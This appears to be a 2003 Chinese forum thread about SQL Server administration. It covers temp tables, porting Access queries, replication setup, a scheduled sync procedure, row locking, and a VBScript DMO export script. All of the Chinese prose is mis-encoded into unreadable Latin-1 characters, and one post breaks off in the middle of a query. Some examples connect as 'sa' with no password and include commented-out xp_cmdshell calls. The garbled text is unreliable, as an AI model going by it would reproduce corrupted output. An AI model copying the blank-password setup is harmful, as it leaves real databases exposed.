ÁÙʱ±íΪÒÑÁ¬½ÓµÄÓû§»á»°½¨Á¢Ò»¸ö¿ìÕÕ¡£Äú¿ÉÒÔ½¨Á¢¾Ö²¿µÄ»òÈ«¾ÖµÄÁÙʱ±í¡£¾Ö²¿ÁÙʱ±íÖ»ÔÚµ±Ç°»á»°Öпɼû£¬¶øÈ«¾Ö
ÁÙʱ±íÔòÔÚËùÓлỰ¶¼ÊǿɼûµÄ¡£ÔÚ¾Ö²¿ÁÙʱ±íµÄÃû×ÖÇ°¼ÓÉϵ¥¸öÊý×ÖµÄǰ׺£¨(#table_name)£©£¬¶øÔÚÈ«¾ÖÁÙʱ±íµÄÃû×Ö
Ç°¼ÓÉÏÁ½Î»Êý×ÖµÄǰ׺(##table_name)¡£¶ÔÁÙʱ±íµÄ²éѯִÐÐÆðÀ´·Ç³£¿ì£¬ÒòΪËüÃÇÈ¡µÃÒ»¸ö½á¹û¼¯µÄʱºòͨ³£Ö»ÓÃÒ»¸ö
±í£¬¶ø²»Êǽ«¶à¸ö±í¶¯Ì¬µØÁ¬½ÓÔÚÒ»ÆðÀ´¡£

ÈçÓûÁ˽âÁÙʱ±íµÄÆäËûÐÅÏ¢£¬Çë²ÎÔÄSQL ServerÔÚÏ߲ο¼Êé¡£

SQL Server 7.0ÖеÄÊý¾Ýת»»·þÎñ£¨DTS£©ÔÊÐíÄúͨ¹ý´´½¨°üÀ´ÊµÏÖÁÙʱ±í½¨Á¢µÄ±ê×¼»¯¡¢×Ô¶¯»¯ºÍ½ø¶È°²ÅÅ¡£ÀýÈ磬µ±Äú
ÒÆÖ²Access 2.0ÖеÄNorthwind ·¶ÀýÊý¾Ý¿âʱ£¬ÓÃÓÚ¼¾¶ÈÊý¾Ý±¨±íµÄ½»²æ±í¿Éת±äΪһ¸öÊÓͼ»òÕßÒ»¸ö¿ÉÔڹ淶»ù´¡ÉϽ¨
Á¢ÁÙʱ±íµÄÊý¾Ýת»»¡£ÈçÓûÁ˽â¹ØÓÚDTSµÄÆäËûÐÅÏ¢£¬Çë²ÎÔÄSQL ServerÔÚÏ߲ο¼Êé¡£

ÆäËûÉè¼ÆÉϵĿ¼ÂÇ

ÏÂÃæÊǵ±Äú½«ÄúµÄAccessÓ¦ÓÃÒÆÖ²µ½SQL Serverʱ±ØÐ뿼ÂǵÄһЩÆäËûÎÊÌ⣺

ʹÓòÎÊý

´ø²ÎÊýµÄSQL Server´æ´¢¹ý³ÌÐèÒªÒ»ÖÖ²»Í¬ÓÚAccess²éѯµÄÓï·¨¸ñʽ£¬ÀýÈ磺

Access 2.0¸ñʽ£º

²éѯÃû£ºEmployee Sales By Country, in NWIND.mdb:

PARAMETERS [Beginning Date] DateTime, [Ending Date] DateTime;

SELECT Orders.[Order ID], [Last Name] & ", " & [First Name] AS Salesperson, Employees.Country, Orders.
[Shipped Date], [Order Subtotals].Subtotal AS [Sale Amount]

FROM Employees INNER JOIN (Orders INNER JOIN [Order Subtotals] ON Orders.[Order ID] = [Order Subtotals].
[Order ID]) ON Employees.[Employee ID] = Orders.[Employee ID]

WHERE (((Orders.[Shipped Date]) Between [Beginning Date] And [Ending Date]))

ORDER BY [Last Name] & ", " & [First Name], Employees.Country, Orders.[Shipped Date];

SQL Server 7.0¸ñʽ£º

CREATE PROCEDURE EMP_SALES_BY_COUNTRY

@BeginningDate datetime,

@EndingDate datetime

AS

SELECT Orders.[Order ID], [Last Name] + ", " + [First Name] AS Salesperson, Employees.Country,

Orders.[Shipped Date], [Order Subtotals].Subtotal AS [Sale Amount]

FROM Employees INNER JOIN (Orders INNER J
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-10 09:32
ÀûÓÃÊý¾Ý¿â¸´ÖƼ¼Êõ ʵÏÖÊý¾Ýͬ²½¸üÐÂ
¸´ÖƵĸÅÄî
¸´ÖÆÊǽ«Ò»×éÊý¾Ý´ÓÒ»¸öÊý¾ÝÔ´¿½±´µ½¶à¸öÊý¾ÝÔ´µÄ¼¼Êõ£¬Êǽ«Ò»·ÝÊý¾Ý·¢²¼µ½¶à¸ö´æ´¢Õ¾µãÉϵÄÓÐЧ·½Ê½¡£Ê¹Óø´ÖƼ¼Êõ£¬Óû§¿ÉÒÔ½«Ò»·ÝÊý¾Ý·¢²¼µ½¶ą̀·þÎñÆ÷ÉÏ£¬´Ó¶øʹ²»Í¬µÄ·þÎñÆ÷Óû§¶¼¿ÉÒÔÔÚȨÏÞµÄÐí¿ÉµÄ·¶Î§ÄÚ¹²ÏíÕâ·ÝÊý¾Ý¡£¸´ÖƼ¼Êõ¿ÉÒÔÈ·±£·Ö²¼ÔÚ²»Í¬µØµãµÄÊý¾Ý×Ô¶¯Í¬²½¸üУ¬´Ó¶ø±£Ö¤Êý¾ÝµÄÒ»ÖÂÐÔ¡£
SQL¸´ÖƵĻù±¾ÔªËØ°üÀ¨
³ö°æ·þÎñÆ÷¡¢¶©ÔÄ·þÎñÆ÷¡¢·Ö·¢·þÎñÆ÷¡¢³ö°æÎï¡¢ÎÄÕÂ
SQL¸´ÖƵŤ×÷Ô­Àí
SQL SERVER Ö÷Òª²ÉÓóö°æÎï¡¢¶©Ôĵķ½Ê½À´´¦Àí¸´ÖÆ¡£Ô´Êý¾ÝËùÔڵķþÎñÆ÷Êdzö°æ·þÎñÆ÷£¬¸ºÔð·¢±íÊý¾Ý¡£³ö°æ·þÎñÆ÷°ÑÒª·¢±íµÄÊý¾ÝµÄËùÓиıäÇé¿öµÄ¿½±´¸´ÖƵ½·Ö·¢·þÎñÆ÷£¬·Ö·¢·þÎñÆ÷°üº¬ÓÐÒ»¸ö·Ö·¢Êý¾Ý¿â£¬¿É½ÓÊÕÊý¾ÝµÄËùÓиı䣬²¢±£´æÕâЩ¸Ä±ä£¬ÔÙ°ÑÕâЩ¸Ä±ä·Ö·¢¸ø¶©ÔÄ·þÎñÆ÷
SQL SERVER¸´ÖƼ¼ÊõÀàÐÍ
SQL SERVERÌṩÁËÈýÖÖ¸´ÖƼ¼Êõ£¬·Ö±ðÊÇ£º
1¡¢¿ìÕÕ¸´ÖÆ£¨´ô»áÎÒÃǾÍʹÓÃÕâ¸ö£©
2¡¢ÊÂÎñ¸´ÖÆ
3¡¢ºÏ²¢¸´ÖÆ
Ö»Òª°ÑÉÏÃæÕâЩ¸ÅÄîŪÇå³þÁËÄÇô¶Ô¸´ÖÆÒ²¾ÍÓÐÁËÒ»¶¨µÄÀí½â¡£½ÓÏÂÀ´ÎÒÃǾÍÒ»²½Ò»²½À´ÊµÏÖ¸´ÖƵIJ½Öè¡£
µÚÒ»ÏÈÀ´ÅäÖóö°æ·þÎñÆ÷
(1)Ñ¡ÖÐÖ¸¶¨[·þÎñÆ÷]½Úµã
(2)´Ó[¹¤¾ß]ÏÂÀ­²Ëµ¥µÄ[¸´ÖÆ]×Ӳ˵¥ÖÐÑ¡Ôñ[·¢²¼¡¢¶©ÔÄ·þÎñÆ÷ºÍ·Ö·¢]ÃüÁî
(3)ϵͳµ¯³öÒ»¸ö¶Ô»°¿òµã[ÏÂÒ»²½]È»ºó¿´×ÅÌáʾһֱ²Ù×÷µ½Íê³É¡£
(4)µ±Íê³ÉÁ˳ö°æ·þÎñÆ÷µÄÉèÖÃÒÔºóϵͳ»áΪ¸Ã·þÎñÆ÷µÄÊ÷ÐνṹÖÐÌí¼ÓÒ»¸ö¸´ÖƼàÊÓÆ÷¡£Í¬Ê±Ò²Éú³ÉÒ»¸ö·Ö·¢Êý¾Ý¿â(distribution)
µÚ¶þ´´½¨³ö°æÎï
(1)Ñ¡ÖÐÖ¸¶¨µÄ·þÎñÆ÷
(2)´Ó[¹¤¾ß]²Ëµ¥µÄ[¸´ÖÆ]×Ӳ˵¥ÖÐÑ¡Ôñ[´´½¨ºÍ¹ÜÀí·¢²¼]ÃüÁî¡£´Ëʱϵͳ»áµ¯³öÒ»¸ö¶Ô»°¿ò
(3)Ñ¡ÔñÒª´´½¨³ö°æÎïµÄÊý¾Ý¿â£¬È»ºóµ¥»÷[´´½¨·¢²¼]
(4)ÔÚ[´´½¨·¢²¼Ïòµ¼]µÄÌáʾ¶Ô»°¿òÖе¥»÷[ÏÂÒ»²½]ϵͳ¾Í»áµ¯³öÒ»¸ö¶Ô»°¿ò¡£¶Ô»°¿òÉϵÄÄÚÈÝÊǸ´ÖƵÄÈý¸öÀàÐÍ¡£ÎÒÃÇÏÖÔÚÑ¡µÚÒ»¸öÒ²¾ÍÊÇĬÈϵĿìÕÕ·¢²¼(ÆäËûÁ½¸ö´ó¼Ò¿ÉÒÔÈ¥¿´¿´°ïÖú)
(5)µ¥»÷[ÏÂÒ»²½]ϵͳҪÇóÖ¸¶¨¿ÉÒÔ¶©Ôĸ÷¢²¼µÄÊý¾Ý¿â·þÎñÆ÷ÀàÐÍ£¬SQLSERVERÔÊÐíÔÚ²»Í¬µÄÊý¾Ý¿âÈç ORACLE»òACCESSÖ®¼ä½øÐÐÊý¾Ý¸´ÖÆ¡£µ«ÊÇÔÚÕâÀïÎÒÃÇÑ¡ÔñÔËÐÐ"SQL SERVER 2000"µÄÊý¾Ý¿â·þÎñÆ÷
(6)µ¥»÷[ÏÂÒ»²½]ϵͳ¾Íµ¯³öÒ»¸ö¶¨ÒåÎÄÕµĶԻ°¿òÒ²¾ÍÊÇÑ¡ÔñÒª³ö°æµÄ±í
(7)È»ºó[ÏÂÒ»²½]Ö±µ½²Ù×÷Íê³É¡£µ±Íê³É³ö°æÎïµÄ´´½¨ºó´´½¨³ö°æÎïµÄÊý¾Ý¿âÒ²¾Í±ä³ÉÁËÒ»¸ö¹²ÏíÊý¾Ý¿â¡£
µÚÈýÉè¼Æ¶©ÔÄ
(1)Ñ¡ÖÐÖ¸¶¨µÄ¶©ÔÄ·þÎñÆ÷
(2)´Ó[¹¤¾ß]ÏÂÀ­²Ëµ¥ÖÐÑ¡Ôñ[¸´ÖÆ]×Ӳ˵¥µÄ[ÇëÇó¶©ÔÄ]
(3)°´ÕÕµ¥»÷[ÏÂÒ»²½]²Ù×÷Ö±µ½ÏµÍ³»áÌáʾ¼ì²éSQL SERVER´úÀí·þÎñµÄÔËÐÐ״̬£¬Ö´Ðи´ÖƲÙ×÷µÄÇ°ÌáÌõ¼þÊÇSQL SERVER´úÀí·þÎñ±ØÐëÒѾ­Æô¶¯¡£
(4)µ¥»÷[Íê³É]¡£Íê³É¶©ÔIJÙ×÷¡£
Íê³ÉÉÏÃæµÄ²½ÖèÆäʵ¸´ÖÆÒ²¾ÍÊdzɹ¦ÁË¡£µ«ÊÇÈçºÎÀ´ÖªµÀ¸´ÖÆÊÇ·ñ³É¹¦ÁËÄØ£¿ÕâÀï¿ÉÒÔͨ¹ýÕâÖÖ·½·¨À´¿ìËÙ¿´ÊÇ·ñ³É¹¦¡£Õ¹¿ª³ö°æ·þÎñÆ÷ÏÂÃæµÄ¸´ÖÆ¡ª¡ª·¢²¼ÄÚÈÝ¡ª¡ªÓÒ¼ü·¢²¼ÄÚÈÝ¡ª¡ªÊôÐÔ¡ª¡ª»÷»î¡ª¡ª×´Ì¬È»ºóµãÁ¢¼´ÔËÐдúÀí³ÌÐò½Ó×ŵã´úÀí³ÌÐòÊôÐÔ»÷»îµ÷¶È°Ñµ÷¶ÈÉèÖÃΪÿһÌì·¢Éú£¬Ã¿Ò»·ÖÖÓ£¬ÔÚ0£º00£º00ºÍ23£º59£º59Ö®¼ä¡£½ÓÏÂÀ´¾ÍÊÇÅжϸ´ÖÆÊÇ·ñ³É¹¦ÁË´ò¿ªC:\Program Files\Microsoft SQL Server\MSSQL\REPLDATA\unc\XIAOWANGZI_database_databaseÏÂÃæ¿´ÊDz»ÊÇÓÐһЩÒÔʱ¼ä×öΪÎļþÃûµÄÎļþ¼Ð²î²»¶àÒ»·ÖÖоͲúÉúÒ»¸ö¡£ÒªÊÇÄ㻹²»ÐŵĻ°¾Í´ò¿ªÄãµÄÊý¾Ý¿â¿´ÔÚ¶©ÔĵķþÎñÆ÷µÄÖ¸¶¨¶©ÔÄÊý¾Ý¿âÏ¿´ÊDz»ÊÇ¿´µ½ÁËÄã¸Õ²ÅËù·¢²¼µÄ±í
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-10 09:33
--Ò»¸öÊÖ¹¤Í¬²½µÄ·½°¸

--¶¨Ê±Í¬²½·þÎñÆ÷ÉϵÄÊý¾Ý

--Àý×Ó:
--²âÊÔ»·¾³,SQL Server2000,Ô¶³Ì·þÎñÆ÷Ãû:xz,Óû§ÃûΪ:sa,ÎÞÃÜÂë,²âÊÔÊý¾Ý¿â:test
--·þÎñÆ÷Éϵıí(²éѯ·ÖÎöÆ÷Á¬½Óµ½·þÎñÆ÷ÉÏ´´½¨)
create table [user](id int primary key,number varchar(4),name varchar(10))
go
--ÒÔÏÂÔÚ¾ÖÓòÍø(±¾»ú²Ù×÷)
--±¾»úµÄ±í,state˵Ã÷:null ±íʾÐÂÔö¼Ç¼,1 ±íʾÐ޸ĹýµÄ¼Ç¼,0 ±íʾÎޱ仯µÄ¼Ç¼
if exists (select * from dbo.sysobjects where id = object_id(N'[user]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
        drop table [user]
GO
create table [user](id int identity(1,1),number varchar(4),name varchar(10),state bit)
go
--´´½¨´¥·¢Æ÷,ά»¤state×ֶεÄÖµ
create trigger t_state on [user]
after update
as
update [user] set state=1
from [user] a join inserted b on a.id=b.id
where a.state is not null
go

--ΪÁË·½±ãͬ²½´¦Àí,´´½¨Á´½Ó·þÎñÆ÷µ½ÒªÍ¬²½µÄ·þÎñÆ÷
--ÕâÀïµÄÔ¶³Ì·þÎñÆ÷ÃûΪ:xz,Óû§ÃûΪ:sa,ÎÞÃÜÂë
if exists(select 1 from master..sysservers where srvname='srv_lnk')
        exec sp_dropserver 'srv_lnk','droplogins'
go
exec sp_addlinkedserver  'srv_lnk','','SQLOLEDB','xz'
exec sp_addlinkedsrvlogin 'srv_lnk','false',null,'sa'
go

--´´½¨Í¬²½´¦ÀíµÄ´æ´¢¹ý³Ì
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_synchro]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
        drop procedure [dbo].[p_synchro]
GO
create proc p_synchro
as
--set  XACT_ABORT on
--Æô¶¯Ô¶³Ì·þÎñÆ÷µÄMSDTC·þÎñ
--exec master..xp_cmdshell 'isql /S"xz" /U"sa" /P"" /q"exec master..xp_cmdshell ''net start msdtc'',no_output"',no_output

--Æô¶¯±¾»úµÄMSDTC·þÎñ
--exec master..xp_cmdshell 'net start msdtc',no_output

--½øÐзֲ¼ÊÂÎñ´¦Àí,Èç¹û±íÓñêʶÁÐ×öÖ÷¼ü,ÓÃÏÂÃæµÄ·½·¨
--BEGIN DISTRIBUTED TRANSACTION
        --ͬ²½É¾³ýµÄÊý¾Ý
        delete from srv_lnk.test.dbo.[user]
                where id not in(select id from [user])

        --ͬ²½ÐÂÔöµÄÊý¾Ý
        insert into srv_lnk.test.dbo.[user]
        select id,number,name from [user] where state is null
       
        --ͬ²½Ð޸ĵÄÊý¾Ý
        update srv_lnk.test.dbo.[user] set
                number=b.number,name=b.name
        from srv_lnk.test.dbo.[user] a
                join [user] b on a.id=b.id
        where b.state=1
       
        --ͬ²½ºó¸üб¾»úµÄ±êÖ¾
        update [user] set state=0 where isnull(state,1)=1
--COMMIT TRAN
go

--´´½¨×÷Òµ,¶¨Ê±Ö´ÐÐÊý¾Ýͬ²½µÄ´æ´¢¹ý³Ì
if exists(SELECT 1 from msdb..sysjobs where name='Êý¾Ý´¦Àí')
        EXECUTE msdb.dbo.sp_delete_job @job_name='Êý¾Ý´¦Àí'
exec msdb..sp_add_job @job_name='Êý¾Ý´¦Àí'

--´´½¨×÷Òµ²½Öè
declare @sql varchar(800),@dbname varchar(250)
select @sql='exec p_synchro'          --Êý¾Ý´¦ÀíµÄÃüÁî
        ,@dbname=db_name()                        --Ö´ÐÐÊý¾Ý´¦ÀíµÄÊý¾Ý¿âÃû

exec msdb..sp_add_jobstep @job_name='Êý¾Ý´¦Àí',
        @step_name = 'Êý¾Ýͬ²½',
        @subsystem = 'TSQL',
        @database_name=@dbname,
           @command = @sql,
        @retry_attempts = 5,                 --ÖØÊÔ´ÎÊý
        @retry_interval = 5                  --ÖØÊÔ¼ä¸ô

--´´½¨µ÷¶È
EXEC msdb..sp_add_jobschedule @job_name = 'Êý¾Ý´¦Àí',
        @name = 'ʱ¼ä°²ÅÅ',
        @freq_type = 4,                                 --ÿÌì
        @freq_interval = 1,                                --ÿÌìÖ´ÐÐÒ»´Î
        @active_start_time = 00000                --0µãÖ´ÐÐ
go
×÷Õß: lodge    ʱ¼ä: 2003-12-13 09:10
±êÌâ: Re: ËøÎÊÌâ
×î³õÓÉ wangyuzhen ·¢²¼
[B]¾õµÃËøÎÊÌâÔÚÎÒÃÇÕâÀïûÓбíÏÖ£¬ÒòΪÎÒÃÇÓõÄPowerBuilderÔÚÌá½»ÐÞ¸Äʱ¿ÉÒÔ´øÉÏwhereÌõ¼þ£¬Ö¸¶¨±»ÐÞ¸Ä×ֶαØÐëºÍÉϴηÃÎÊʱµÄÖµÒ»Ö²ſÉÒÔ¡£
ÁíÍâ¾õµÃÄǸöÀý×ÓÓÐÎÊÌ⣬ΪʲôҪÌá½»25,000£¿¶ø²»ÊÇ£º´æ¿îÓà¶î+5000£¿ [/B]

ÄǸöÀý×ÓÊÇΪÁË˵Ã÷¼ÓËøµÄÒâÒå,

Õâ¸ö²Ù×÷ÒªÕâÑùÍê³É

1. ´Ó±íÖÐÈ¡³öÓà¶î´æ¿î¼Ç¼
2. ´æ¿îÓà¶î+5000 д»Ø±íÖÐ

ÈçÓÐÁ½¸ö²¢ÐвÙ×÷ͬʱÍê³É1²Ù×÷, ¾Í»á²úÉúÎÊÌâ
Òò´Ë, ÔÚÖ´ÐÐ1,2²Ù×÷ÊÇÒ»¶¨Òª¶Ô¼Ç¼¼ÓËø, ÒÔ±£Ö¤Ò»´ÎÖ»ÓÐÒ»¸ö²Ù×÷ÔÚÖ´ÐÐ.
ÄãµÄÎÊÌâÖ»ÊÇÒ»¸öÈçºÎʵÏÖµÄÎÊÌâ, Ìá¼Û´æ¿îÓà¶î+5000ʱ, Õâ¸öËøÊÇÓÉÊý¾Ý¿â×Ô¶¯ÊµÏÖµÄ, ÒòΪÿÌõUPDATEÓï¾äÔÚÖ´ÐеÄʱºò¶¼»áÏȶÔÄ¿±ê¼Ç¼¼ÓËø.
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:00
SQL ServerÈçºÎ½â¾ö¼ÓÃÜÎÊÌ⣿

---Õª×Ô»¥ÁªÍø
SQL ServerµÄ6.0ºÍ6.5°æ±¾ÖУ¬16λºÍ32λ¿Í»§Èí¼þÔÚʹÓöàЭÒéÍøÂç¿âʱÉèÖüÓÃÜÑ¡Ïî¿ÉÒÔ½øÐÐÊý¾ÝÔÚÏß¼ÓÃÜ¡£
¡¡SQL ServerÒÀ¿¿Microsoft Windows NT RPC Ó¦ÓóÌÐò½Ó¿ÚÀ´Íê³ÉÍøÂçÊý¾Ý¼ÓÃÜ¡£ Windows NT RPCʹÓÃ40λRC4¼ÓÃÜ·½·¨¡£ÕâÖÖ·½·¨ÔÊÐí³ö¿Ú£¬ËùÒÔÃÀ¹úºÍ¹ú¼Ê°æµÄÕâÖÖ¼ÓÃÜ·½·¨Ã»ÓÐÇø±ð¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:01
±àдÊý¾Ý¿â½Å±¾

×÷ÕߣºAndrew Clinick
·¢±íÈÕÆÚ£º2000 Äê 1 Ô 10 ÈÕ
ÎÒÔÚ¡°If It Moves, Script It¡±£¨Ó¢ÎÄ£©(http://msdn.microsoft.com/worksh ... scripting061499.asp)ÕâƪÎÄÕÂÖÐÔø̸µ½£¬ÈçºÎʹÓá°Windows Script Host(WSH)¡±( Windows ½Å±¾Ö÷»ú) ¹ÜÀí Windows ºÍ Windows ÖеÄÓ¦ÓóÌÐò¡£ÎÄÖеĴó¶àÊýʾÀý¶¼ÊÇ»ùÓÚ¹ÜÀí Windows ²Ù×÷ϵͳ×ÔÉíµÄ£¬²¢²»»ùÓÚÔڸòÙ×÷ϵͳÏÂÔËÐеÄÓ¦ÓóÌÐò¡£ÎªÓ­½ÓÐÂǧÄ꣬ÎÒÏëÎÒÓ¦¸Ã̸̸£¬ÈçºÎÔÚÖÚ¶àÏÔ¶¿É½Å±¾»¯½Ó¿ÚµÄÓ¦ÓóÌÐòÖÐʹÓýű¾¡£Õâ´ÎÖ»Éæ¼°¡°SQL Server¡±¡£ÔÚÒÔºóµÄ¼¸¸öÔÂÖУ¬ÎÒ½«×ÅÖØ̸ Exchange¡¢Office ºÍ¡°ÏµÍ³¹ÜÀí·þÎñÆ÷¡±¡£
--------------------------------------------------------------------------------
Äú¿ÉÒÔͨ¹ýʹÓá°·Ö²¼Ê½¹ÜÀí¶ÔÏ󡱡¢¡°Êý¾Ýת»»·þÎñ¡±ºÍеġ°SQL Server XML¡±ÊµÏÖ£¬½«½Å±¾ÓÃÓÚ¡°SQL Server¡±¡£
--------------------------------------------------------------------------------

Ðí¶àÈ˶¼Äܹ»Í¨¹ý¡°Active Data Object(ADO)¡±ºÍ¡°Active Server Page (ASP)¡±¼¼Êõ·ÃÎÊÊý¾Ý¿âÁË¡£ADO ÔÚ°ïÖúÄú²éѯºÍ¸üÐÂÊý¾Ý¿â·½Ãæ×öÁË´óÁ¿µÄ¹¤×÷ ¡ª µ«ÔÚ±¸·Ý£¨Y2K ÎÊÌâ´ø¸øÎÒÃǵľ¯Ì裩»òÊÇÊý¾Ý¿âÖ®¼äµÄ´«ÊäÊý¾Ý·½Ã棬Æä±íÏÖÓÖÈçºÎÄØ£¿¶øÕâʱ¾Í·ÇÉæ¼°µ½ XML ²»¿ÉÁË¡£
ÔÚ´Ë£¬ÎÒ½«¸æËßÄúÈçºÎͨ¹ýʹÓà ADO µÄ°éËæ¼¼Êõ £­ ÌرðÊÇ¡°·Ö²¼Ê½¹ÜÀí¶ÔÏ󡱡¢¡°Êý¾Ýת»»·þÎñ¡±ºÍеġ°SQL Server XML¡±ÊµÏÖ£¬½«½Å±¾ÓÃÓÚ¡°SQL Server¡±¡£
·Ö²¼Ê½¹ÜÀí¶ÔÏó

¡°·Ö²¼Ê½¹ÜÀí¶ÔÏó (DMO)¡±ÊÇÒ»×é COM ¶ÔÏó£¬Ëü½«¡°SQL Server¡±Êý¾Ý¿âºÍ¸´ÖƹÜÀí·â×°ÔÚÒ»Æð¡£ÕâÒâζ×ÅÄú¿ÉÒÔ±àдһ¸ö WSH ½Å±¾£¬½«Ìض¨±íÖеÄËùÓÐÊý¾Ý¶¼¸´ÖƵ½ÓÃÖƱí·û·Ö¸ôµÄÎļþÖУ¬ÕâÓÐÖúÓÚ´óÁ¿Êý¾ÝµÄÒƶ¯¡£ÎÒÖ®ËùÒÔÑ¡ÔñÕâ¸öʾÀý£¬ÊÇÒòΪËüµÄ´úÂë±àдÆðÀ´¼òµ¥£¬µ« DMO ÔÊÐíÄú»ñÈ¡¡°SQL Server¡±ÖеÄÿ¸ö¶ÔÏó£¬Ê¹ÄúÄܹ»±àд³öһЩ·Ç³£ÓÅÐã¶øÓÐÒâÒåµÄ¹ÜÀí½Å±¾¡£
DMO µÄ¹Ø¼üÊÇ SQLDMO.SQLServer ¶ÔÏó£¬ËüÊÇ»ù±¾µÄ¶ÔÏó£¬ËüÔÊÐíÄúÁ¬½Óµ½·þÎñÆ÷²¢»ñÈ¡ËùÓпÉÓöÔÏó¡£ÔÚÕâÖÖÇé¿öÏ£¬ÎÒ½«Ê¹Óà Database ¼¯ºÏÀ´Ñ¡ÔñÊý¾Ý¿â£¬È»ºó´Ó table ¼¯ºÏ·ÃÎÊҪת´¢µ½ÎļþµÄ±í¡£Èç¹û²»ÌṩÊý¾Ý¿â£¬½«³öÏÖ´íÎóÏûÏ¢£¬²¢Çҽű¾Ò²¾Í½áÊøÁË¡£Èç¹û²»Ìṩ±íÃû£¬½Å±¾½«ÔÚÊý¾Ý¿âËùÓеıíÖÐÑ­»·£¬²¢µ¼³ö·Çϵͳ±í¡£Èç¹ûÌṩÁËÊý¾Ý¿â£¬Ëü¾Íµ¼³ö¸Ã±í¡£¸ÃʾÀýËäÈ»¹¦ÄÜÓÐÏÞ£¬µ«ËüΪ¡°SQL Server¡±ÌṩÁË»ùÓÚÃüÁîÐеļòµ¥µÄµ¼³öʵÓóÌÐò£¬Äú¿ÉÒÔÒÔËüΪ¸ù¾Ý¡£
ÏÖÔÚÏÈ¿´Ò»¶Î´úÂ룺


'ÉùÃ÷Óë sql ̸»°Ê±Ê¹ÓõıäÁ¿
Dim oServer ' SQL Server ¶ÔÏó
Dim oDatabase ' ҪʹÓõÄÄ¿±êÊý¾Ý¿â
Dim oBCP ' BCP ¶ÔÏó
Dim nRows ' ´Ó bcp ·µ»ØµÄÐÐÊý
dim table ' ±í¶ÔÏó
on error resume next
' µÚÒ»¸ö²ÎÊý±ØÐëÊÇÊý¾Ý¿â
if WScript.Arguments(0) = "" then
    WScript.Echo "ÄúûÓÐÌṩҪÁ¬½ÓµÄÊý¾Ý¿â"    WScript.Quit
end if
' ´´½¨ SQL DMO µÄʵÀý
Set oServer = CreateObject("SQLDMO.SQLServer"
' ´´½¨ SQL DMO Bulkcopy ¶ÔÏóµÄʵÀý
Set oBCP = CreateObject("SQLDMO.BulkCopy"
oServer.EnableBcp = True
' µÇ¼µ½±¾µØ·þÎñÆ÷
' Ï£ÍûÄúÒѾ­¸ü¸ÄÁË sa ¿ÚÁî!!
oServer.Connect ".", "sa"
' Á¬½Óµ½ÌṩµÄÊý¾Ý¿â
Set oDatabase = oServer.Databases(Wscript.Arguments(0))

' ½«·Ö¸ô·ûÉèÖÃΪ¶ººÅ
oBCP.ColumnDelimiter = vbComma
' ½«ÎļþÀàÐÍÉèÖÃΪÒÔ¶ººÅ·Ö¸ô
oBCP.DataFileType = SQLDMODataFile_CommaDelimitedChar
oBCP.ImportRowsPerBatch = 1000
oBCP.MaximumErrorsBeforeAbort = 1
BCP.RowDelimiter = vbCrLf
oBCP.ServerBCPDataFileType = SQLDMOBCPDataFile_Char
oBCP.UseExistingConnection = True
' Èç¹ûδÌṩ±í£¬Ôòת´¢ËùÓеıí
if wscript.Arguments(1) = "" then
    for each table in oDatabase.tables
        ' È·±£¸Ã±í²»ÊÇϵͳ±í
        if table.systemobject = false then
            oBCP.DataFilePath = table.name & ".csv"
            nRows = table.ExportData(oBCP)
            wscript.Echo nRows & " rows exported from " & table.name
        end if
    nextelse    ' ÉèÖÃÊä³öÎļþ
    oBCP.DataFilePath = wscript.Arguments(1) & ".csv"
     nRows = oDatabase.Tables(wscript.arguments(1)).ExportData(oBCP)
    wscript.Echo nRows & " rows exported from " & wscript.arguments(1)
end if


DMO µÄÈ«²¿ÄÚÈÝÒª±È±¾ÎĽéÉܵĶàµÃ¶à£¬µ«ÎÒÏ£Íû±¾ÎÄÄܸøÄúһЩ¸ÐÐÔÈÏʶ£ºÓÃijЩ¼òµ¥µÄ WSH ½Å±¾ºÍ DMO ¿ÉÒÔ×öЩʲô¡£Äú¿ÉÒÔÏÂÔØÎÒµÄʾÀý£¨Ó¢ÎÄ£©(http://msdn.microsoft.com/voices/sqlexport.wsf)¡£ÓÐ¹Ø DMO µÄÏêϸÐÅÏ¢£¬Çë·ÃÎÊ http://msdn.microsoft.com/library/psdk/sql/9_dmoc01.htm£¨Ó¢ÎÄ£©(http://msdn.microsoft.com/library/psdk/sql/9_dmoc01.htm)¡£
Êý¾Ýת»»·þÎñ

µ¼³öµ½ Comma Separated Îļþ (CSV)£¬¿ÉÒÔ×÷Ϊ½«Êý¾Ýµ¼³öµ½ SQL ºÍ´Ó SQL µ¼ÈëµÄÆðµã£¬µ«Õâ²»ÏóÊǼâ¶Ë¿Æ¼¼£¨Ì«¹ýÓÚ 20 ÊÀ¼ÍÁË£¬Äú²»¾õµÃÂð?£©¡£¡°SQL Server 7.0¡±ÒÔ¡°Êý¾Ýת»»·þÎñ (DTS)¡±µÄÐÎʽ£¬ÌṩÁËÏ൱ÍêÉƵĵ¼ÈëºÍµ¼³ö»úÖÆ¡£ÐÒÔ˵ÄÊÇ£¬½Å±¾ÔÚ¡°SQL Server¡±µÄÕâ¸öÐÂÁìÓòÖÐÈÔÓÐһϯ֮µØ£¬Òò´Ë£¬Äú¿ÉÒÔÓá°Visual Basic(R) ½Å±¾±à¼­ (VBScript)¡±¡¢¡°JScript(R)¡±»ò¡°Perl¡±µÄ¼¼ÊõÀ´À©Õ¹ DTS µÄÄÜÁ¦¡£
DTS µÄÉèÖ÷dz£¼òµ¥£¬ÌرðÊÇÔÚʹÓá°SQL ServerEnterprise Manager¡±µÄʱºò¡£ÔÚĬÈÏÇé¿öÏ£¬¡°SQL Server¡±ÓÐÒ»¸ö¶¨ÒåµÄÎļþ¼Ð£¬¿É´æ´¢ÈκÎת»»£¬¶øÇÒ¡°Enterprise Manager¡±ÌṩÁË´´½¨ºÍ±à¼­ DTS ³ÌÐò°üµÄ´óµÄͼÐÎÓû§½çÃæ (GUI)¡£ÔÚÏÂÃæµÄʾÀýÖУ¬ÎÒÑ¡ÔñÁËÒÑÓÉ sqlexport.wsf Îļþ´´½¨µÄ employees.csv ÎļþºÍ¡°SQL Server¡±ÖеÄÒ»¸öÐÂ±í¡£DTA ³ÌÐò°ü½«´´½¨¸Ã±í£¬¼ÓÔص½ Text ÎļþÖУ¬È»ºóÔËÐÐij¸ö½Å±¾£¬½«Êý¾Ýת»»µ½¡°SQL Server¡±µÄ±íÖС£

